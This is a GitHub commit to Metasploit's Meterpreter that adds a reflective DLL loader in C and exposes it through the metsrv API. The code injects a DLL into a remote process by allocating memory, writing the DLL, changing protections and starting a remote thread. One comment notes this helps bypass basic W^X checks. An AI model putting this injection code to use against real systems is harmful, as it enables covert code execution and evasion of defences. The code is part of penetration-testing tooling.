Skip to content

Commit b1d672b

Browse files
committed
feat: implement LoadLibraryR in metsrv and expose it on metapi
1 parent 144ac5c commit b1d672b

4 files changed

Lines changed: 241 additions & 2 deletions

File tree

c/meterpreter/source/common/common_metapi.h

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,15 +4,19 @@
44
*/
55
#ifndef _METERPRETER_COMMON_METAPI_H
66
#define _METERPRETER_COMMON_METAPI_H
7-
87
#include "common_winapi.h"
98

9+
typedef struct _ReflectiveLoaderApi
10+
{
11+
HANDLE (WINAPI *LoadRemoteLibraryR)(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter);
12+
} ReflectiveLoaderApi;
1013
typedef struct _InjectApi
1114
{
12-
DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, LPVOID lpArg, SIZE_T stArgSize);
15+
DWORD(*dll)(DWORD dwPid, DWORD dwDestinationArch, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR reflectiveLoader, DWORD dwActualReflectiveLoaderOffset, LPVOID lpArg, SIZE_T stArgSize);
1316
DWORD(*via_apcthread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
1417
DWORD(*via_remotethread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
1518
DWORD(*via_remotethread_wow64)(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* pThread);
19+
ReflectiveLoaderApi reflective_loader;
1620
} InjectApi;
1721

1822
typedef struct _ChannelApi
Lines changed: 224 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,224 @@
1+
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
2+
// All rights reserved.
3+
//
4+
// Redistribution and use in source and binary forms, with or without modification, are permitted
5+
// provided that the following conditions are met:
6+
//
7+
// * Redistributions of source code must retain the above copyright notice, this list of
8+
// conditions and the following disclaimer.
9+
//
10+
// * Redistributions in binary form must reproduce the above copyright notice, this list of
11+
// conditions and the following disclaimer in the documentation and/or other materials provided
12+
// with the distribution.
13+
//
14+
// * Neither the name of Harmony Security nor the names of its contributors may be used to
15+
// endorse or promote products derived from this software without specific prior written permission.
16+
//
17+
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
18+
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
19+
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
20+
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
21+
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
22+
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
23+
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
24+
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
25+
// POSSIBILITY OF SUCH DAMAGE.
26+
//===============================================================================================//
27+
#include "common.h"
28+
#include "common_metapi.h"
29+
#include "load_library_r.h"
30+
31+
static DWORD Rva2Offset(DWORD dwRva, PIMAGE_NT_HEADERS pNtHeaders)
32+
{
33+
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
34+
35+
// Iterate through the PE sections to find which one contains the RVA.
36+
for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++)
37+
{
38+
// Check if the RVA is within the current section's virtual address space.
39+
// We use VirtualSize for the upper bound, as this is the true size of the
40+
// section in memory. SizeOfRawData is its size on disk, which can be smaller,
41+
// and using it can lead to failing to find RVAs on some platforms (e.g., ARM64).
42+
if (dwRva >= pSectionHeader->VirtualAddress && dwRva < (pSectionHeader->VirtualAddress + pSectionHeader->Misc.VirtualSize))
43+
{
44+
// The file offset is calculated by taking the RVA, subtracting the section's
45+
// base virtual address, and adding the section's file offset (PointerToRawData).
46+
return (dwRva - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData);
47+
}
48+
}
49+
50+
// If the RVA was not found in any section, it must be within the PE header itself.
51+
// In this case, the RVA is the same as the file offset.
52+
if (dwRva < pNtHeaders->OptionalHeader.SizeOfHeaders)
53+
{
54+
return dwRva;
55+
}
56+
57+
return 0;
58+
}
59+
60+
DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer, LPCSTR cpReflectiveLoaderName)
61+
{
62+
UINT_PTR uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
63+
PIMAGE_DOS_HEADER pDosHeader = NULL;
64+
PIMAGE_NT_HEADERS pNtHeaders = NULL;
65+
66+
// Validate the PE headers.
67+
pDosHeader = (PIMAGE_DOS_HEADER)uiBaseAddress;
68+
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
69+
return 0;
70+
71+
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + pDosHeader->e_lfanew);
72+
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
73+
return 0;
74+
75+
// Get the export directory RVA.
76+
PIMAGE_DATA_DIRECTORY pDataDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
77+
if (pDataDirectory->VirtualAddress == 0)
78+
return 0;
79+
80+
// Convert the RVA to a file offset to get the export directory structure.
81+
DWORD dwExportDirOffset = Rva2Offset(pDataDirectory->VirtualAddress, pNtHeaders);
82+
if (dwExportDirOffset == 0)
83+
return 0;
84+
85+
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiBaseAddress + dwExportDirOffset);
86+
87+
// Get pointers to the three critical arrays within the EAT, using file offsets.
88+
PDWORD pdwAddressArray = (PDWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfFunctions, pNtHeaders));
89+
PDWORD pdwNameArray = (PDWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfNames, pNtHeaders));
90+
PWORD pwNameOrdinals = (PWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfNameOrdinals, pNtHeaders));
91+
92+
// Search for the loader function by name or by ordinal.
93+
if (((DWORD_PTR)cpReflectiveLoaderName >> 16) == 0)
94+
{
95+
// By ordinal
96+
WORD wOrdinal = LOWORD((DWORD_PTR)cpReflectiveLoaderName);
97+
DWORD dwOrdinalBase = pExportDirectory->Base;
98+
99+
if (wOrdinal < dwOrdinalBase || wOrdinal >= dwOrdinalBase + pExportDirectory->NumberOfFunctions)
100+
return 0;
101+
102+
DWORD dwFunctionRva = pdwAddressArray[wOrdinal - dwOrdinalBase];
103+
return Rva2Offset(dwFunctionRva, pNtHeaders);
104+
}
105+
else
106+
{
107+
// By name
108+
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++)
109+
{
110+
LPCSTR cpExportedFunctionName = (LPCSTR)(uiBaseAddress + Rva2Offset(pdwNameArray[i], pNtHeaders));
111+
112+
// Use strcmp for a precise match.
113+
if (strcmp(cpExportedFunctionName, cpReflectiveLoaderName) == 0)
114+
{
115+
WORD wFunctionOrdinal = pwNameOrdinals[i];
116+
DWORD dwFunctionRva = pdwAddressArray[wFunctionOrdinal];
117+
return Rva2Offset(dwFunctionRva, pNtHeaders);
118+
}
119+
}
120+
}
121+
122+
return 0;
123+
}
124+
125+
HMODULE WINAPI LoadLibraryR(LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName)
126+
{
127+
HMODULE hResult = NULL;
128+
DWORD dwReflectiveLoaderOffset;
129+
REFLECTIVELOADER pReflectiveLoader;
130+
DLLMAIN pDllMain;
131+
DWORD dwOldProtect;
132+
133+
if (lpBuffer == NULL || dwLength == 0)
134+
return NULL;
135+
136+
// Find the file offset of the reflective loader function.
137+
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer, cpReflectiveLoaderName);
138+
if (dwReflectiveLoaderOffset == 0)
139+
return NULL;
140+
141+
pReflectiveLoader = (ULONG_PTR)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
142+
143+
// Make the buffer executable so we can call the loader.
144+
if (!met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect))
145+
return NULL;
146+
147+
// Call the loader, which performs the mapping and returns a pointer to the new DllMain.
148+
pDllMain = (DLLMAIN)pReflectiveLoader();
149+
if (pDllMain == NULL)
150+
{
151+
met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, dwOldProtect, &dwOldProtect);
152+
return NULL;
153+
}
154+
155+
// Query the newly loaded DllMain for its module handle.
156+
if (!pDllMain(NULL, DLL_QUERY_HMODULE, &hResult))
157+
hResult = NULL;
158+
159+
// Revert the original buffer's memory protection.
160+
met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, dwOldProtect, &dwOldProtect);
161+
162+
return hResult;
163+
}
164+
165+
HANDLE WINAPI load_library_r(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter)
166+
{
167+
LPVOID lpRemoteLibraryBuffer = NULL;
168+
HANDLE hThread = NULL;
169+
DWORD dwResult = ERROR_SUCCESS;
170+
do {
171+
if (!hProcess || !lpBuffer || !dwLength)
172+
return NULL;
173+
// Find the loader's offset within the file buffer.
174+
DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer, cpReflectiveLoaderName);
175+
if(dwActualReflectiveLoaderOffset != 0) {
176+
dprintf("[LOADREMOTE] Using effective reflective loader offset: %lu\n", dwActualReflectiveLoaderOffset);
177+
dwReflectiveLoaderOffset = dwActualReflectiveLoaderOffset;
178+
}
179+
180+
if (dwReflectiveLoaderOffset == 0) {
181+
BREAK_WITH_ERROR("[LOADREMOTE] Failed to find reflective loader offset", ERROR_INVALID_DATA);
182+
}
183+
184+
// Allocate memory in the remote process for the DLL.
185+
lpRemoteLibraryBuffer = met_api->win_api.kernel32.VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
186+
if (!lpRemoteLibraryBuffer) {
187+
BREAK_WITH_ERROR("[LOADREMOTE] Failed to allocate memory in remote process", ERROR_OUTOFMEMORY);
188+
}
189+
190+
// Write the entire DLL buffer into the allocated remote memory.
191+
if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL))
192+
{
193+
BREAK_WITH_ERROR("[LOADREMOTE] Failed to write library into remote process memory", ERROR_WRITE_FAULT);
194+
}
195+
196+
// Set initial memory permissions to Execute+Read. The loader will later set final
197+
// permissions on each section, but this helps bypass some basic W^X checks.
198+
DWORD dwOldProt;
199+
if (!met_api->win_api.kernel32.VirtualProtectEx(hProcess, lpRemoteLibraryBuffer, dwLength, PAGE_EXECUTE_READ, &dwOldProt))
200+
{
201+
BREAK_WITH_ERROR("[LOADREMOTE] Failed to set memory protection in remote process", ERROR_INVALID_PARAMETER);
202+
}
203+
204+
// Calculate the absolute address of the reflective loader in the remote process.
205+
LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
206+
207+
// Create a remote thread to execute the loader.
208+
hThread = met_api->win_api.kernel32.CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, 0, NULL);
209+
if (!hThread)
210+
{
211+
BREAK_WITH_ERROR("[LOADREMOTE] Failed to create remote thread", ERROR_INVALID_PARAMETER);
212+
}
213+
} while (FALSE);
214+
215+
if(dwResult != ERROR_SUCCESS)
216+
{
217+
if (lpRemoteLibraryBuffer)
218+
{
219+
met_api->win_api.kernel32.VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, 0, MEM_RELEASE);
220+
}
221+
return NULL;
222+
}
223+
return hThread;
224+
}
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
#include "common.h"
2+
#define DLL_METASPLOIT_ATTACH 4
3+
#define DLL_METASPLOIT_DETACH 5
4+
#define DLL_QUERY_HMODULE 6
5+
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
6+
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
7+
HANDLE WINAPI load_library_r(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter);

c/meterpreter/source/metsrv/metapi.c

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
#include "remote_thread.h"
55
#include "unicode.h"
66
#include "winapi.h"
7+
#include "load_library_r.h"
78

89
MetApi api_instance = {
910
// PacketApi
@@ -129,6 +130,9 @@ MetApi api_instance = {
129130
inject_via_apcthread,
130131
inject_via_remotethread,
131132
inject_via_remotethread_wow64,
133+
{
134+
load_library_r,
135+
}
132136
},
133137
// DesktopApi
134138
{

0 commit comments

Comments
 (0)